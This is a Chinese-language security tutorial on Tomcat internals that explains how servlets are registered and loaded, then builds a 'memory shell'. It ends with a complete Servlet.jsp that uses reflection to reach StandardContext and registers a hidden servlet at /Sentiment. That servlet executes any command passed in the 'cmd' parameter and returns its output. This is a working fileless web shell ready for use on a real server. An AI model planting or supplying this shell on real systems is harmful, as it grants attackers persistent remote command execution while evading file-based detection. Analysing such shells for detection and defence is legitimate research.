Tomcat Servlet内存马

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

<pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
</pre>

Servlet接口一共有五个类分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet  { 
    void  init(ServletConfig var1)  throws  ServletException;

    ServletConfig  getServletConfig();

    void  service(ServletRequest var1,  ServletResponse var2)  throws  ServletException,  IOException;

    String  getServletInfo();

    void  destroy();
}</pre>

Servlet.java

<pre class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class  Servlet  extends  HttpServlet  { 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        resp.getWriter().write("Hello,Sentiment!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        doGet(req, resp);
    }
}</pre>

web.xml

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>memoryshell.Servlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping></pre>

访问/hello

Servlet生成

本地没有catalina,所以加了个依赖,可能是版本不对在调试时可能会有一丢丢代码不匹配的问题,但不影响正常流程

依赖

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.19</version>
</dependency></pre>

整个栈在ContextConfig调用了 configureStart#webConfig() 读取 web.xml

然后根据 web.xml 配置 context调用了 configureContext()

<pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok) { 
    this.configureContext(webXml);
}</pre>

跟进 configureContext() 前边依次读取了 Filter、Listenert的配置及其映射,我们直接看后边的 Servlet 部分:

首先通过 StandardContextS#createWrapper() ,创建wrapper对象

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()  { 
Wrapper wrapper = null;
if (wrapperClass != null) { 
    try { 
        wrapper = (Wrapper) wrapperClass.newInstance();
    } catch (Throwable t) { 
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t);
        return (null);
    }
} else { 
    wrapper = new StandardWrapper();</pre>

接着设置了启动优先级LoadOnStartUp,以及servlet的Name。

设置好优先级后就调用下边的 setServletClass() ,配置了Servlet的Class。

<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());</pre>

最后通过 addChild() 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下

来就需要添加Servlet-Mapper了(对应web.xml中的 <servlet-mapping> )

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

  1. 通过 context.createWapper() 创建 Wapper 对象;
  2. 设置 Servlet 的 LoadOnStartUp 的值;
  3. 设置 Servlet 的 Name;
  4. 设置 Servlet 对应的 Class;
  5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
  6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试:

回溯到 StandardContext#startInternal 同样也是在处理完listener和filter后,处理Servlet,这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了 findChildren() ,将之前通过 addChild() 添加的所有Wapper传入 loadOnStartup() 中处理

跟进 loadOnStartup() ,children的值就是通过 this.findChildren() 传入进来的

通过循环将children中的值逐一赋给child,在赋值给wrapper中,之后有一段判断:

<pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0) { 
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null) { 
        list = new ArrayList();
        map.put(key, list);
    }

    list.add(wrapper);
}</pre>

如果loadOnStartup >= 0,就会将wrapper追加到list中,但loadOnStartup 的默认值是-1,

在servlet的配置当中即(web.xml), <load-on-startup>1</load-on-startup> 的含义是:

标记容器是否在启动的时候就加载这个servlet。

当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;

当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。

正数的值越小,启动该servlet的优先级越高。 </load-on-startup>

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要通过反射将值修改为1,将其追加到list中

之后通过load()进行加载,根据具体请求进行初始化、调用、销毁一系列操作

Servlet内存马

首先通过doGet方法实现恶意类

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    HttpServlet httpServlet = new HttpServlet() { 
      @Override
      protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){ 
          resp.getWriter().write(len);
        }
      }

      @Override
      protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        super.doPost(req, resp);
      }
    };

%></pre>

之后还是老办法获取StandardContext:

<pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%></pre>

反射修改 loadOnStartup

<pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%></pre>

最后将 URL 路径与 Servlet 恶意类做映射:

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name); %></pre>

Servlet.jsp

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field"  %>  <%@ page import="org.apache.catalina.core.StandardContext"  %>  <%@ page import="org.apache.catalina.connector.Request"  %>  <%@ page import="java.io.IOException"  %>  <%@ page import="org.apache.catalina.Wrapper"  %>  <%@ page import="java.io.InputStream"  %>  <%@ page import="java.io.BufferedInputStream"  %>  <%@ page contentType="text/html;charset=UTF-8" language="java"  %>  <html>  <head>  <title>Sentiment</title>  </head>  <body>  <%  HttpServlet httpServlet =  new  HttpServlet()  {  @Override  protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  InputStream is =  Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  BufferedInputStream bis =  new  BufferedInputStream(is);  int len;  while  ((len = bis.read())!=-1){ 
                resp.getWriter().write(len);  }  }  @Override  protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  super.doPost(req, resp);  }  };  //获得StandardContext  Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true);  Request req =  (Request) reqF.get(request);  StandardContext stdcontext =  (StandardContext) req.getContext();  //从StandardContext.createWapper()获得一个Wapper对象  Wrapper newWrapper = stdcontext.createWrapper();  String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName());  //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name);  %></pre>

访问Servlet.jsp后注入成功

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